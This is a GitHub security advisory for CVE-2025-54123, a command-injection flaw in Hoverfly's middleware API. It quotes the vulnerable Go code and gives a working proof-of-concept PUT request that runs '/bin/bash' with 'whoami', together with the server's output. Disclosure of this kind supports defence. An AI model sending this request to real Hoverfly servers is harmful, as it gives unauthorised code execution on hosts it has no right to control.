Skip to content

Hoverfly is vulnerable to Remote Code Execution through an insecure middleware implementation

Critical severity GitHub Reviewed Published Sep 10, 2025 in SpectoLabs/hoverfly • Updated Sep 13, 2025

Package

gomod github.com/SpectoLabs/hoverfly (Go)

Affected versions

<= 1.11.3

Patched versions

None

Description

Summary

It has been discovered that the middleware functionality in Hoverfly is vulnerable to command injection through its /api/v2/hoverfly/middleware endpoint due to insufficient validation and sanitization in user input.

Details

The vulnerability exists in the middleware management API endpoint /api/v2/hoverfly/middleware.

This issue is born due to combination of three code level flaws:

  1. Insufficient Input Validation in middleware.go line 94-96:
func (this *Middleware) SetBinary(binary string) error {
    this.Binary = binary  // No validation of binary parameter here
    return nil
}
  1. Unsafe Command Execution in local_middleware.go line 14-19:
var middlewareCommand *exec.Cmd
if this.Script == nil {
    middlewareCommand = exec.Command(this.Binary)  // User-controlled binary
} else {
    middlewareCommand = exec.Command(this.Binary, this.Script.Name())  // User-controlled binary and script
}
  1. Immediate Execution During Testing in hoverfly_service.go line 173:
_, err = newMiddleware.Execute(testData)  // Executes middleware immediately for testing

POC

  1. Send the below HTTP PUT request to http://localhost:8888 in order to create our malicious middleware, this will execute a simple whoami command on target. (ADMIN UI/API)

Here, when you send this request, The hoverify will processes the request and writes the script to a temporary file and During middleware validation, Hoverfly executes: /bin/bash /tmp/{hoverfly_script}, and Boom! The malicious script will get executed with Hoverfly's privileges.

PUT /api/v2/hoverfly/middleware HTTP/1.1
Host: localhost:8888
sec-ch-ua-platform: "macOS"
Accept-Language: en-US,en;q=0.9
Accept: application/json, text/plain, */*
sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="138"
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
sec-ch-ua-mobile: ?0
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8888/dashboard
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/json
Content-Length: 101

{
    "binary": "/bin/bash",
    "script": "whoami"
}
HTTP/1.1 422 Unprocessable Entity
Date: Sat, 12 Jul 2025 15:55:49 GMT
Content-Length: 540
Content-Type: text/plain; charset=utf-8

{"error":"Failed to unmarshal JSON from middleware\nCommand: /bin/bash /var/folders/c6/c708mhjj12j_d5sg_s80pybc0000gn/T/hoverfly/hoverfly_2749637664\ninvalid character 'k' looking for beginning of value\n\nSTDIN:\n{\"response\":{\"status\":200,\"body\":\"ok\",\"encodedBody\":false,\"headers\":{\"test_header\":[\"true\"]}},\"request\":{\"path\":\"/\",\"method\":\"GET\",\"destination\":\"www.test.com\",\"scheme\":\"\",\"query\":\"\",\"formData\":null,\"body\":\"\",\"headers\":{\"test_header\":[\"true\"]}}}\n\nSTDOUT:\nkr1shna4garwal\n"}

(Here, the user is kr1shna4garwal)

Impact

This allows an attacker to gain remote code execution (RCE) on any system running the vulnerable Hoverfly service. Since the input is directly passed to system commands without proper checks, an attacker can upload a malicious payload or directly execute arbitrary commands (including reverse shells) on the host server with the privileges of the hoverfly process.

Reporter:
@Kr1shna4garwal

References

@tommysitu tommysitu published to SpectoLabs/hoverfly Sep 10, 2025
Published by the National Vulnerability Database Sep 10, 2025
Published to the GitHub Advisory Database Sep 10, 2025
Reviewed Sep 10, 2025
Last updated Sep 13, 2025

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(45th percentile)

Weaknesses

Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. Learn more on MITRE.

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

CVE ID

CVE-2025-54123

GHSA ID

GHSA-r4h8-hfp2-ggmf

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.